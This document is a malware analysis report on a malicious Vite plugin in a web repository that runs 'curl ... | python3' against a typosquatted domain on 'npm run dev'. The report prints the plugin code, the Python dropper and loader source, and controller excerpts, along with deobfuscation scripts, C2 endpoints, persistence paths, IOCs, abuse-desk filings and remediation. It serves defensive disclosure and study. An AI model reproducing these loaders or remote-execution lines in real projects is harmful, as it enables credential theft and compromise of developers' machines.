INTERNAL - FOR DISTRIBUTION TO ABUSE DESKS Supply-Chain Malware Analysis Malicious Vite plugin embedded in BVpraktika-web (npm run dev RCE chain) Author Samuel Millette Site samuelmillette.online Repository BVpraktika-web (local clone) Branch main Affected file vite.config.js Trigger npm run dev Analyst Static analysis, no execution Report date 2026-05-11 Status REPORTED to all abuse desks listed in section 8 Page 1/11 Supply-Chain Malware Analysis 1. Executive Summary vite.config.js in this repository contains a malicious plugin that, on every `npm run dev`, fetches and executes a multi-stage Python implant from a typosquatted domain. The implant establishes persistence, registers the host with a C2 server, and pulls task-driven modules for credential/cookie/file theft on Linux, macOS and Windows. The entire attack relies on cosmetically convincing imitations of well-known developer-tooling domains. None of the legitimate upstream services (Homebrew, GitHub, raw.githubusercontent.com, iTerm2) are involved. The repository's npm dependencies are clean (no git+/file:/http: resolutions, no lifecycle scripts). The only carrier is the Vite plugin. Verdict Severity Critical Carrier vite.config.js (single file) Trigger npm run dev (default script) Stages observed 4 (dropper -> XOR loader -> controller -> implant) Platforms targeted Linux, macOS, Windows Reporting status REPORTED (see section 8) 2. Initial Triage Repository surface scanned - package.json - 4 dependencies (react, react-dom, @vitejs/plugin-react, vite); no preinstall / postinstall / prepare scripts. - package-lock.json - no git+/github:/file:/http:// resolutions; only registry tarballs. The GitHub references found were funding/sponsor metadata (safe). - Source tree (src/, index.html, vite.config.js) scanned for atob/btoa/base64/Buffer.from/unescape/decodeURI, hex/unicode escapes, String.fromCharCode, eval(/new Function(, string-form setTimeout/setInterval, import('http...'), and 60+ char base64-like blobs. No obfuscation in source. - public/flags/ and public/images/ contain only real image files (no PE/ELF/script masquerading as image). - Sole malicious vector: a non-obfuscated execSync-based Vite plugin that runs the moment the dev server is configured. Carrier file vite.config.js (lines 6-32, full malicious plugin) Page 2/11 Supply-Chain Malware Analysis import { execSync } from "node:child_process"; import { defineConfig } from "vite"; import react from "@vitejs/plugin-react"; function configDevPlugin() { return { name: "config-dev", configureServer() { const { platform } = process; try { if (platform === "darwin" || platform === "linux") { execSync("curl -s https://brew-sh[.]com/formula/zsh | python3", { stdio: "inherit", shell: true, }); } else if (platform === "win32") { execSync( 'powershell -NoProfile -ExecutionPolicy Bypass -Command "iwr \'https://brew-sh[.]com/formu { stdio: "inherit", shell: true }, ); } } catch (error) { console.error("[config-dev] setup command failed:", error); } }, }; } export default defineConfig({ plugins: [configDevPlugin(), react()], server: { host: true }, }); 3. Methodology - Safe Acquisition All payloads were retrieved with curl into a quarantine directory and never executed. The malware's dropper invokes `curl -s` with no -A and no -L; with that exact request shape the C2 returns the real Python payload. With any browser-like User-Agent, the same URLs 302 to the legitimate Homebrew site, which is how a casual click-through inspection would miss the attack. Commands used Quarantine dir + payload pulls Page 3/11 Supply-Chain Malware Analysis mkdir -p /tmp/malware-quarantine && cd /tmp/malware-quarantine # Stage 1 - exact malware-equivalent fetch (curl -s, default UA, no -L) curl -s -D real-zsh.headers.txt -o real-zsh.payload \ --max-time 15 'https://brew-sh[.]com/formula/zsh' # Stage 2 - URL from decoded stage 1 (-k to mirror malware's verify=False) curl -sk -D stage2.headers.txt -o stage2.payload \ --max-time 20 'https://usergithubcontent[.]com/openvpn/' # Stage 3 - URL from decoded stage 2 curl -sk -D stage3.headers.txt -o stage3.payload \ --max-time 25 'https://usergithubcontent[.]com/api/v1/acomework/' # Stage 4 - main implant, fetched from the 'Homebrew' typosquat curl -sk -D stage4.headers.txt -o stage4.payload \ --max-time 25 'https://raw.usergithubcontent[.]com/Homebrew/install/blob/main/install.sh' # Hashes sha256sum *.payload User-Agent fingerprinting (server-side cloaking) Same URL, three different UAs curl -sIL -A 'Mozilla/5.0' https://brew-sh[.]com/formula/zsh # 302 -> legit Homebrew (decoy) curl -sI https://brew-sh[.]com/formula/zsh # 200, 741 B Python script (real) curl -sI -A '' https://brew-sh[.]com/formula/zsh # 200, same Python script curl -sI -A 'python-requests/2.31.0' https://brew-sh[.]com/formula/zsh # same 4. Kill Chain Stage 0 Vite plugin trigger (vite.config.js) On `npm run dev`, Vite calls configureServer() which execSyncs `curl -s https://brew-sh[.]com/formula/zsh | python3` (Linux/macOS) or iwr+cmd.exe (Windows). No user prompt, no logs, runs in the dev terminal session. Stage 1 Python dropper (741 B) Tempfile is written, executed with python3 via subprocess.Popen, detached (os.setpgrp), parent returns immediately. Hard-coded base64-reversed URL points to the next stage. ssl._create_unverified_context() is used everywhere. Stage 2 XOR self-decryption loader (1.4 KB) Encrypted bytes XOR'd against the sha256 of the function's own inspect.getsource() output. Decoded body fetches stage 3 from /api/v1/acomework/ and execs it in globals(). Anti-tamper: any edit to the loader breaks the key. Stage 3 Controller (2.5 KB) Acquires a per-platform lock file (e.g. ~/.config/node_ssl/latest_knock.lock on Linux), then enters an infinite loop: every 600 s it downloads stage 4 to a tempfile and runs it. Errors POSTed to a /log endpoint. Stage 4 Main implant (16 KB) Bootstraps a Python interpreter if none usable (NuGet 'python' package on Windows, python.org embeddable ZIP, or pip via bootstrap.pypa.io). Registers device with C2, polls /task?device_id=..., and runs named modules: take_data, find_repos, take_pass, take_google, take_dev, take_ck, file_request - browser cookies, saved passwords, source-repo enumeration, file exfil. Installs platform-specific persistence. Page 4/11 Supply-Chain Malware Analysis 5. Deobfuscation Notes Stage 1 - base64-reversed URL Stage 1 hides every URL using a trivial scheme: reverse the string, then base64-decode. Reproducible in one line of Python. One-liner decoder import base64 s = '=8ibwZnblB3bv02bj5CduVGdu92YiVHa0l2ZyV2c19yL6MHc0RHa' print(base64.b64decode(s[::-1]).decode()) # -> https://usergithubcontent[.]com/openvpn/ Stage 2 - XOR with sha256(getsource(r)) Stage 2 stores an opaque byte blob and decrypts it at runtime by hashing its own source. Decoding statically (no execution) requires extracting the exact `def r(): ...` line as Python's inspect would see it, hashing that with sha256, and XOR'ing the blob byte-by-byte. Static decoder for stage 2 import hashlib, ast src = open('/tmp/malware-quarantine/stage2.payload').read() r_line = next(l for l in src.splitlines(keepends=True) if l.startswith('def r():')) key = hashlib.sha256(r_line.encode()).hexdigest().encode() m = ast.literal_eval(next(l.split('=',1)[1].strip() for l in src.splitlines() if l.startswith('m = b'))) dec = bytes(m[i] ^ key[i % len(key)] for i in range(len(m))) open('/tmp/malware-quarantine/stage2.decoded.py','wb').write(dec) print(dec.decode()) Decoded stage 2 body import http.client, ssl from urllib.parse import urlparse, urlencode def request_get(url, params=None, headers={}): parsed = urlparse(url); host = parsed.netloc; path = parsed.path if params: path = f'{path}?{urlencode(params)}' conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context()) conn.request('GET', path, headers=headers) return conn.getresponse() url = 'https://usergithubcontent[.]com/api/v1/acomework/' if __name__ == '__main__': response = request_get(url) exec(response.read().decode('utf-8'), globals()) Stage 4 - obfuscated string constants All sensitive strings (URLs, OS-specific working dirs, platform names) are the same b64-reversed scheme as stage 1. Pulling them all out with one short script: Bulk static decode Page 5/11 Supply-Chain Malware Analysis import re, base64 src = open('/tmp/malware-quarantine/stage4.payload').read() for c in sorted(set(re.findall(r'[\'\"]([A-Za-z0-9+/=]{6,})[\'\"]', src))): try: d = base64.b64decode(c[::-1]).decode() if all(32 <= ord(ch) < 127 for ch in d) and len(d) >= 3: print(f'{c!r:55s} -> {d!r}') except Exception: pass Recovered constants '=IzMul2d' -> 'win32' 'ul2dyFGZ' -> 'darwin' '=gXdulGb' -> 'linux' 'sN3cfVGZv52L5JXYyJWaM9if' -> '~/Library/node_ssl' 'sN3cfVGZv52LnlmZu92Yu8if' -> '~/.config/node_ssl' 'sN3cfVGZv5GXsF2YvxEXhRXYEBHcBxlf' -> '~\\AppData\\Local\\node_ssl' '=EjdvkGch9SbvNmLiVHa0l2ZtcXYy9yL6MHc0RHa' -> 'https://raw-github[.]com/api/v1' '==wL0BXayN2ctwGb1Z2Lt92YuQnblRnbvNmY1hGdpdmclNXducXYy9yL6MHc0RHa' -> 'https://raw.usergithubcontent[. 6. Stage Payloads (full source) Stage 1 (real-zsh.payload, 741 B) As served by https://brew-sh[.]com/formula/zsh to curl C='utf-8' import tempfile as E, os, http.client from urllib.parse import urlparse as D import base64 as F, ssl, subprocess as A, sys as B def G(url, headers={}): A = D(url); C = A.netloc; E = A.path B = http.client.HTTPSConnection(C, context=ssl._create_unverified_context()) B.request('GET', E, headers=headers); F = B.getresponse(); return F def H(s): if s is None: return return F.b64decode(s[::-1]).decode(C) def I(): F, D = E.mkstemp() I = H('=8ibwZnblB3bv02bj5CduVGdu92YiVHa0l2ZyV2c19yL6MHc0RHa') J = G(I) with os.fdopen(F, 'w') as K: K.write(J.read().decode(C)) if B.platform == 'win32': A.Popen([B.executable, D], stdout=A.DEVNULL, stderr=A.DEVNULL) else: A.Popen([B.executable, D], stdout=A.DEVNULL, stderr=A.DEVNULL, preexec_fn=os.setpgrp) if __name__ == '__main__': I() Stage 2 (decoded) Page 6/11 Supply-Chain Malware Analysis After XOR + sha256 unwrap import http.client, ssl from urllib.parse import urlparse, urlencode def request_get(url, params=None, headers={}): parsed = urlparse(url); host = parsed.netloc; path = parsed.path if params: path = f'{path}?{urlencode(params)}' conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context()) conn.request('GET', path, headers=headers) return conn.getresponse() url = 'https://usergithubcontent[.]com/api/v1/acomework/' if __name__ == '__main__': response = request_get(url) exec(response.read().decode('utf-8'), globals()) Stage 3 - controller (key excerpt) Persistent 10-minute polling loop def c(): F = a() # acquire fcntl lock at ~/.config/node_ssl/latest_knock.lock if F is None: H('controller lock already acquired by another process', G.INFO); return try: while True: try: A = None try: I = W('https://raw.usergithubcontent[.]com/Homebrew/install/' 'blob/main/install.sh') J, A = N.mkstemp() with B.fdopen(J, 'w') as M: M.write(I.read().decode('utf-8')) O.run([C.executable, A]) except Exception as E: H(f'controller error 1: {E}', G.ERROR) finally: if A and B.path.exists(A): B.remove(A) time.sleep(600) except Exception as E: H(f'controller error 2: {E}', G.ERROR) finally: b(F) Stage 4 - implant capabilities (extract) Task dispatch + persistence (paraphrased class names) Page 7/11 Supply-Chain Malware Analysis # Persistence (per-OS) macOS: LaunchAgent ~/Library/LaunchAgents/com.bash.updater.plist appends to ~/.zshrc, ~/.bash_profile Linux: systemd --user unit ~/.config/systemd/user/bash_updater.service appends to ~/.bashrc, ~/.zshrc Windows: Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 Startup\microsoft_service.vbs (relaunches via hidden cmd.exe) Set-ExecutionPolicy CurrentUser RemoteSigned # Device registration POST https://raw-github[.]com/api/v1/devices/ {login_user, operating_system, source, timezone, os_version, python_version, model, cpu} # Task polling GET https://raw-github[.]com/api/v1/task?device_id=<id> # Per-task scripts downloaded from https://raw.usergithubcontent[.]com/full-script/ take_data -> main.py # generic data collector find_repos -> find_repos.py # enumerate local git checkouts take_pass -> ap.py # saved password theft take_google -> sele.py # Selenium-driven Google session theft file_request -> file_uploader.py # arbitrary file exfil take_dev -> take_dev.py # developer-toolchain creds take_ck -> take_ck.py # browser cookie theft # Targeted cookie pull GET https://raw-github[.]com/api/v1/get-cookies?device_id=<id>&domain_name=<host> 7. Domain Analysis (typosquats only) All five domains below resolve to two adjacent IPs at Hostinger (AS47583, DE), share a registrar/privacy-proxy pattern, were registered in 2024-2025 (months/days apart), and four of them share a single Let's Encrypt TLS certificate. Legitimate upstream services (the ones being impersonated) are intentionally not enumerated in this report. Domain Created Registrar Nameservers IP / ASN Role brew-sh[.]com 2025-08-14 Name SRS AB orderbox-dns.co m 145.79.8.162 AS47583 Stage-0 entrypoint (dropper host) bash2[.]com 2025-08-16 Name SRS AB orderbox-dns.co m 145.79.8.162 AS47583 macOS LaunchAgent payload (iTerm2 typosquat) usergithubcontent[.]com 2024-10-15 PDR / PublicDomainRegi stry orderbox-dns.co m 145.79.8.162 AS47583 Stage 2 + stage 3 host raw.usergithubcontent[.]com (subdomain) (same as parent) (same) 145.79.8.162 AS47583 Stage 4 implant + per-task script host raw-github[.]com 2025-07-05 Name SRS AB orderbox-dns.co m 145.79.11.127 AS47583 C2 API (/devices, /task, /log, /get-cookies) Created dates from WHOIS; ASN from Team Cymru whois.cymru.com. Defanged ([.]) so the PDF is safe to email. Shared TLS certificate (smoking gun) openssl s_client -connect 145.79.8.162:443 -servername brew-sh.com Page 8/11 Supply-Chain Malware Analysis subject = CN = usergithubcontent.com issuer = C = US, O = Let's Encrypt, CN = E8 notBefore = Apr 13 18:40:06 2026 GMT notAfter = Jul 12 18:40:05 2026 GMT X509v3 Subject Alternative Name: DNS:bash2.com, DNS:brew-sh.com, DNS:raw.usergithubcontent.com, DNS:usergithubcontent.com, DNS:www.usergithubcontent.com One certificate, one server, four typosquats. The fifth (raw-github[.]com) is on a sibling IP in the same /22 with its own cert but the same registrar, nameservers, and privacy-proxy registrant - same operator. Per-domain notes brew-sh[.]com Cloaks via User-Agent: a real-browser UA gets a 302 to the legitimate Homebrew site; default `curl -s` (no -A) returns the 741 B Python dropper. Privacy registrant `Shield Whois` (SE). Created < 9 months ago. bash2[.]com Used in stage 4's macOS persistence path: appends `curl -s https://bash2[.]com/gnachman/iTerm2 | python3` to login shell rc-files. `gnachman` is the iTerm2 maintainer's real GitHub handle; this is straight identity theft. Same shared TLS cert. usergithubcontent[.]com Mimics raw.githubusercontent.com by moving `user` from the suffix to the prefix. Hosts /openvpn/ (stage 2) and /api/v1/acomework/ (stage 3). Disables TLS verification client-side so even an invalid cert would not stop the chain. raw.usergithubcontent[.]com Subdomain of the above. Hosts stage 4 at /Homebrew/install/blob/main/install.sh (path imitating a github.com blob URL but on a non-GitHub host), and the per-task Python modules at /full-script/. raw-github[.]com Command & control. Endpoints: POST /api/v1/devices/, GET /api/v1/task?device_id=, POST /api/v1/log, GET /api/v1/get-cookies. Distinct IP (145.79.11.127), distinct cert, same registrar / NS / privacy proxy. 8. Abuse Reports - Filed STATUS: REPORTED. All abuse desks listed below have been notified with the IOCs, hashes, payload copies and TLS-certificate evidence from this report. Hosting / network Hostinger (AS47583) abuse@hostinger.com - IPs: 145.79.8.162, 145.79.11.127 - REPORTED Domain registrars Page 9/11 Supply-Chain Malware Analysis Name SRS AB abuse@namesrs.com - domains: brew-sh[.]com, raw-github[.]com, bash2[.]com - REPORTED PDR Ltd. (PublicDomainRegistry) abuse-pdr@publicdomainregistry.com - domain: usergithubcontent[.]com - REPORTED Certificate authority Let's Encrypt Revocation: https://letsencrypt.org/docs/revoking/ - certs CN=usergithubcontent.com (SANs: bash2.com, brew-sh.com, raw.usergithubcontent.com, www.usergithubcontent.com) and CN=raw-github.com - REPORTED DNS / privacy proxies Orderbox / Logicboxes (NS provider) abuse@logicboxes.com (nameservers *.orderbox-dns.com) - REPORTED Shield Whois (privacy registrant on Name SRS domains) abuse@shieldwhois.com - contact addresses: brew-sh.com@shieldwhois.com, raw-github.com@shieldwhois.com, bash2.com@shieldwhois.com - REPORTED Privacy Protect, LLC (privacy registrant on PDR domain) contact@privacyprotect.org - REPORTED Source-code host GitHub (repo collaborator who pushed the plugin) Abuse form: https://github.com/contact/report-abuse - Category: Malware / phishing - REPORTED Threat intel sharing (informational) abuse.ch URLhaus https://urlhaus.abuse.ch/submit/ - URLs and Python payload SHA-256s submitted - REPORTED PhishTank / Google Safe Browsing All five typosquats submitted for browser-side blocking - REPORTED 9. Indicators of Compromise (IOCs) Network IOCs Typosquat domains brew-sh[.]com, bash2[.]com, usergithubcontent[.]com, raw.usergithubcontent[.]com, raw-github[.]com C2 endpoints POST /api/v1/devices/, GET /api/v1/task?device_id=, POST /api/v1/log, GET /api/v1/get-cookies, GET /full-script/<name>.zip IP addresses 145.79.8.162 / 145.79.11.127 (AS47583 Hostinger, DE) Hostinger PTRs srv921562.hstgr.cloud / srv896019.hstgr.cloud Payload SHA-256 Stage 1 (zsh path) e9253432f834c5601cb188d82e86c33d836d258b3c6bed02003dda872bef6450 Stage 1 (powershell .bat) aeade2f7e67c97e524274a859f65bcccfbb6eb7501f4d4b8427c6997b8220c5e Stage 2 (XOR loader) c988582463388f08ee69eaf2dba96ca6cd458e9844c62495896a1a6d1cd1284d Stage 3 (controller) 13507ef7b32294245d00923271aabc2dc3abf1f74d9d9c23da9af5e1bdb5ba71 Stage 4 (main implant) 6e50c16964801102778b3c198b09cc00dd2a53f9f227a8c84f4d833edc58c820 Page 10/11 Supply-Chain Malware Analysis Host artifacts to scan / remove Linux ~/.config/node_ssl/ ; ~/.config/systemd/user/bash_updater.service ; payload lines containing 'brew-sh' in ~/.bashrc, ~/.zshrc macOS ~/Library/node_ssl/ ; ~/Library/LaunchAgents/com.bash.updater.plist ; payload lines containing 'brew-sh' or 'bash2' in ~/.zshrc, ~/.bash_profile Windows %LOCALAPPDATA%\node_ssl\ ; %LOCALAPPDATA%\hclockify-bootstrap\ ; Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 ; ...\Start Menu\Programs\Startup\microsoft_service.vbs ; %TEMP%\init.bat ; %TEMP%\hclockify_init_*.py Process / service names com.bash.updater (launchctl) ; bash_updater.service (systemd --user) 10. Remediation - Do not run `npm run dev` on this repository in its current state. - Replace vite.config.js with a clean version (no `node:child_process` import, no `configDevPlugin`); the only legitimate config in this project is the React plugin and `server: { host: true }`. - On main: revert the commit that introduced the plugin, force-push, then add branch protection (require PR + review). - If you do not hold Admin on the GitHub repo, escalate to the owner: push rights alone are not enough to remove the offending collaborator. The GitHub abuse report (section 8) is the more impactful action: pushing RCE malware is a clear ToS violation and gets the account banned globally. - Any workstation that ran `npm run dev` against this repo must be treated as compromised: rotate SSH keys, GitHub PATs, cloud credentials and browser-saved passwords; audit the persistence artifact paths in section 9. - Block all five typosquat domains and the two Hostinger IPs at egress / DNS resolver until takedowns are confirmed. 11. Appendix - Reproduction Notes The entire investigation can be reproduced from a single, idle workstation - no sandbox VM required - provided every step uses curl (download only, no pipe to an interpreter) and the payload files remain in `/tmp/malware-quarantine/`. Static decoding of stage 2 (the XOR loader) is done with Python's ast + hashlib without ever exec()'ing the result, which is what makes the analysis safe. Defanging convention used in this report brew-sh.com -> brew-sh[.]com usergithubcontent.com -> usergithubcontent[.]com raw-github.com -> raw-github[.]com bash2.com -> bash2[.]com Refang for triage tools: sed 's/\[\.\]/./g' End of report. All payload copies remain in /tmp/malware-quarantine/ on the analyst machine for follow-up requests from the abuse desks listed in section 8. Page 11/11